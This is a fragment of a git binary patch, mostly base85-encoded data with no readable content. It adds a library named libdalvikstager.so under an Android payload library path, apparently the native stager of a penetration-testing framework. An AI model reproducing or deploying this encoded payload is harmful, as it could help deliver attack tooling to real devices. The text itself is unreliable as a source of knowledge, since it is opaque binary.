z#h)bpwjA&KAJRwTBfwfJwf+2WQ`?VuPsFRwrTOB(NApg^HJd(T(_)O{z42Xdr}+*7 zw_yC4-=}HfCzO-%u6NS(!@!g~X4APBQrm06KMVL9vrop)0CQrW{bQQ{r@-HW-t~V@ z>pu^ScQV_FOKnX4@@PkUL;38+@`l#NmgcsIDCbXA=|8hO%dMZB%EHn6CbWx&_SUl2 zNG#kLZE0_gm8JQD;ceEh-;LJKRpp)AI%AR6^6E&}l9q61Cx3sBbcj!f?+=%^;77G` ztChdVXLpy*shhx&9(TK_YHn+e-6=}5`s-u(6@T;Xe`8CQy4&Zh6*M_*%4I~q$C}$k z`UkvHjJ#T|df=)Du6p3A2d;YHst2xm;Hn4S>jAuwbBY_4;k(k`&NQKp=P>ayUJT%Q z#rpOpANXO=cy1E40Dhl?XA^;UnC*Bb5`-dLTESv{)8qk`@y7@JTRi;WpE!>fPQ2HC z4+Qa#Z2S`&{}(Xc%ZXnC^Q9BNU%vsEdiY(?5zyBIqubH}WPKAw9e9V_PMQDTQZ+06 zJv+bi=C|AYUVCDx!jHXwD_Am?E?IJ$TDtTTYv!m6%WhTY`z!Fzf2&#=?TB>XQ$T#4 zHV2HH7hGgvFpJIYEsbhLSp|Mx7mN7qkM(VW4C-u)rhTuGF5Hg(22V&RRVtZ`dg=eE`~j&+E#rf_GID1&nLq$|;um?*O>hH zNLnLpXlrYaMauBWBsf|c=iMLa=;Sw-mX2@?&kGyzNh#h=ywAc|BjCNR6?=@oF$6Mc z#)1VM|;5U%W_kHA}eJcT!Hy^-#Lb!tsc43vU4v+_+udV-kf{AgwQz(z60l>#Irq+G`|b622!cRnu~P+^)FL!`tMwkoB9bW|ebcCv z^3cS6CZtej5DhTLgVf96IYbN&rXf2@8`f=+ z#ojW|@7K8pZ zXc3*VLH`MKIcSbwUJn=SuCVma0$m4s$mm}T+UnnxpwGd+a-)CKB>D@W<*U#4e|Zvp z5VYUY|8JA%S3pNB{bQ5pEa=^q{t`^YO3wj(U>1?ju&)O6o1kwn=(|BXXA^PW@cg5o zeW1;Fe-w0`g+2&cWML>0y_-EUi5{FpQ!v=r5ejZxPSA?a+!?&P ztv(uRqRrt%thtHeZL#*|w!|ii#=>pX9!5`NOEk{o;)zh>1Hs0~1Hnz9=9UW@Hg5^F zH=!jI4sC1>ZfW~`b6ZoeF%}EP+P#L7wQVh|CK%k@wk5bW$8iUe(5)QR(i5YE)t+8;hHI!(K z7?v5H4R?eawj3?SdjV%773mOcXLMB^o$e!GMp5L(9 z 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 G)4u@fN9;5J literal 0 HcmV?d00001 diff --git a/data/android/libs/x86/libdalvikstager.so b/data/android/libs/x86/libdalvikstager.so new file mode 100644 index 0000000000000000000000000000000000000000..e7a9f5e233ba153534221cf74548efe26a4583fd GIT binary patch literal 5220 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 